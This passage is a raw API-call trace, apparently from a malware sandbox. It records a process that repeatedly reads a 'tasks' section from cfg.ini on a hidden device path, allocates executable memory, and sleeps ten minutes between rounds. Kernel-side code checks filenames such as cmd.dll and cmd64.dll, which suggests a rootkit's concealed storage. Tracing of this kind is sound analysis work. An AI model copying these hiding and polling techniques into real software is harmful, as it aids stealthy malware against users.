[0128.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038cec40 [0128.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.278] KeLeaveCriticalRegion () [0128.278] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.278] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.278] KeEnterCriticalRegion () [0128.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.278] KeLeaveCriticalRegion () [0128.278] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.279] KeEnterCriticalRegion () [0128.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.279] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.279] IdePortDispatch () returned 0x103 [0128.279] KeWaitForMutexObject () returned 0x0 [0128.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.279] KeLeaveCriticalRegion () [0128.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.279] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.279] KeEnterCriticalRegion () [0128.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345d000 [0128.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.279] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.279] IdePortDispatch () returned 0x103 [0128.279] KeWaitForMutexObject () returned 0x0 [0128.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.280] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.280] IdePortDispatch () returned 0x103 [0128.280] KeWaitForMutexObject () returned 0x0 [0128.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.280] KeLeaveCriticalRegion () [0128.280] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.281] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.281] KeEnterCriticalRegion () [0128.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] KeLeaveCriticalRegion () [0128.281] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.281] KeEnterCriticalRegion () [0128.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] KeLeaveCriticalRegion () [0128.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.281] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.281] KeEnterCriticalRegion () [0128.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] ExFreePoolWithTag (P=0xfffffa80038cec40, Tag=0x0) [0128.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.281] KeLeaveCriticalRegion () [0128.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.281] ReleaseMutex (hMutex=0xf0) returned 1 [0128.281] Sleep (dwMilliseconds=0x927c0) [0128.296] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.296] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.300] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.300] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.300] KeEnterCriticalRegion () [0128.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.300] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.301] IdePortDispatch () returned 0x103 [0128.301] KeWaitForMutexObject () returned 0x0 [0128.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.301] KeLeaveCriticalRegion () [0128.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.301] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.301] KeEnterCriticalRegion () [0128.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.301] KeLeaveCriticalRegion () [0128.301] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.301] KeEnterCriticalRegion () [0128.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.301] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.301] IdePortDispatch () returned 0x103 [0128.302] KeWaitForMutexObject () returned 0x0 [0128.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.302] KeLeaveCriticalRegion () [0128.302] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.302] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.302] KeEnterCriticalRegion () [0128.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0128.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.302] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.302] IdePortDispatch () returned 0x103 [0128.302] KeWaitForMutexObject () returned 0x0 [0128.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.303] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.303] IdePortDispatch () returned 0x103 [0128.303] KeWaitForMutexObject () returned 0x0 [0128.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.303] KeLeaveCriticalRegion () [0128.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.304] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.304] KeEnterCriticalRegion () [0128.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] KeLeaveCriticalRegion () [0128.304] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.304] KeEnterCriticalRegion () [0128.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.304] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe280, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] KeLeaveCriticalRegion () [0128.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.304] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.304] KeEnterCriticalRegion () [0128.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.304] KeLeaveCriticalRegion () [0128.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.304] ReleaseMutex (hMutex=0xf0) returned 1 [0128.304] Sleep (dwMilliseconds=0x927c0) [0128.329] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.329] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.329] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.329] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.329] KeEnterCriticalRegion () [0128.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.329] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.329] IdePortDispatch () returned 0x103 [0128.329] KeWaitForMutexObject () returned 0x0 [0128.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.330] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.330] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.330] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.330] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.330] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9a00 [0128.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.330] KeLeaveCriticalRegion () [0128.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.330] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.330] KeEnterCriticalRegion () [0128.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.330] KeLeaveCriticalRegion () [0128.330] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.330] KeEnterCriticalRegion () [0128.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.330] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.330] IdePortDispatch () returned 0x103 [0128.330] KeWaitForMutexObject () returned 0x0 [0128.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.331] KeLeaveCriticalRegion () [0128.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.331] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.331] KeEnterCriticalRegion () [0128.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.331] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0128.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.331] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.331] IdePortDispatch () returned 0x103 [0128.331] KeWaitForMutexObject () returned 0x0 [0128.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.331] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.331] IdePortDispatch () returned 0x103 [0128.331] KeWaitForMutexObject () returned 0x0 [0128.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.332] KeLeaveCriticalRegion () [0128.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.332] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.332] KeEnterCriticalRegion () [0128.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.332] KeLeaveCriticalRegion () [0128.333] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.333] KeEnterCriticalRegion () [0128.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.333] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.333] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.333] KeLeaveCriticalRegion () [0128.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.333] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.333] KeEnterCriticalRegion () [0128.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.333] ExFreePoolWithTag (P=0xfffffa8003ac9a00, Tag=0x0) [0128.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.333] KeLeaveCriticalRegion () [0128.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.333] ReleaseMutex (hMutex=0xf0) returned 1 [0128.333] Sleep (dwMilliseconds=0x927c0) [0128.338] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.338] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.346] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.346] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.346] KeEnterCriticalRegion () [0128.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.346] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.346] IdePortDispatch () returned 0x103 [0128.346] KeWaitForMutexObject () returned 0x0 [0128.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9860 [0128.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.346] KeLeaveCriticalRegion () [0128.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.347] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.347] KeEnterCriticalRegion () [0128.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.347] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.347] KeLeaveCriticalRegion () [0128.347] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.347] KeEnterCriticalRegion () [0128.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.347] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.347] IdePortDispatch () returned 0x103 [0128.347] KeWaitForMutexObject () returned 0x0 [0128.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.347] KeLeaveCriticalRegion () [0128.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.347] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 